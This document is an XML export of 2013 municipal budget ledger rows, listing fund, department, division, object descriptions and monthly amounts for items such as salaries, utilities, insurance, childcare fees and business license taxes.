<row _id="3705"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>19119.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19119.0</total></row>
<row _id="3706"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9093.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9093.0</total></row>
<row _id="3707"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>792.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>792.0</total></row>
<row _id="3708"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>665627.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>6656</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>672283.0</total></row>
<row _id="3709"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3078.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>31</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3109.0</total></row>
<row _id="3710"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2578709.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>25787</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2604496.0</total></row>
<row _id="3711"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>18703.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>187</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18890.0</total></row>
<row _id="3712"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>478631.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4786</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>483417.0</total></row>
<row _id="3713"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>282283.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>282283.0</total></row>
<row _id="3714"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>53000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>53000.0</total></row>
<row _id="3715"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25398.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25398.0</total></row>
<row _id="3716"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>178375.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>178375.0</total></row>
<row _id="3717"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>233800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>233800.0</total></row>
<row _id="3718"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1250635.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1250635.0</total></row>
<row _id="3719"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5100.0</total></row>
<row _id="3720"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>60126.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>601</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>60727.0</total></row>
<row _id="3721"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-14057.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-14057.0</total></row>
<row _id="3722"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8325.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8325.0</total></row>
<row _id="3723"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-COLO ESP</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="3724"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>30888.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30888.0</total></row>
<row _id="3725"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>15000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="3726"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>578920.0</object><object_description>PROP A-MAINT (NOT LOCAL RETRN)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>40000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>40000.0</total></row>
<row _id="3727"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400180.0</object><object_description>LOCAL PUBLIC SAFETY FUNDS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>-927000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-48000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-975000.0</total></row>
<row _id="3728"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>ACCRUED INVESTMENT INCOME</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>36469.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36469.0</total></row>
<row _id="3729"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>97696.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>97696.0</total></row>
<row _id="3730"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>22690.0</july><august>0</august><september>0.0</september><october>-222.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>22468.0</total></row>
<row _id="3731"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2250.0</total></row>
<row _id="3732"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>250.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>250.0</total></row>
<row _id="3733"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9700.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9700.0</total></row>
<row _id="3734"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>123657.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1237</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>124894.0</total></row>
<row _id="3735"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9415.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9415.0</total></row>
<row _id="3736"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16690.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16690.0</total></row>
<row _id="3737"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>141652.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>141652.0</total></row>
<row _id="3738"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="3739"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="3740"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3436.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3436.0</total></row>
<row _id="3741"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2564.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2564.0</total></row>
<row _id="3742"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-8679.0</july><august>0</august><september>0.0</september><october>502.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8177.0</total></row>
<row _id="3743"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-21950.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-21950.0</total></row>
<row _id="3744"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2674.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2674.0</total></row>
<row _id="3745"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-1953.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1953.0</total></row>
<row _id="3746"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400860.0</object><object_description>ST GAS TAX APPORTIONMENT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-2395940.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2395940.0</total></row>
<row _id="3747"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409002.0</object><object_description>CHILDCARE-OCTOBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-35467.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-35467.0</total></row>
<row _id="3748"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409003.0</object><object_description>CHILDCARE-NOVEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-35467.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-35467.0</total></row>
<row _id="3749"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409032.0</object><object_description>CAMP SM-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-8733.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8733.0</total></row>
<row _id="3750"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409051.0</object><object_description>MIDDLE SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-29056.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-29056.0</total></row>
<row _id="3751"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400190.0</object><object_description>BUSINESS LICENSE TAXES</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2013</fiscal_year><july>-28244000.0</july><august>0</august><september>0.0</september><october>-14580.0</october><november>0</november><december>0</december><january>0.0</january><february>-341420</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-28600000.0</total></row>
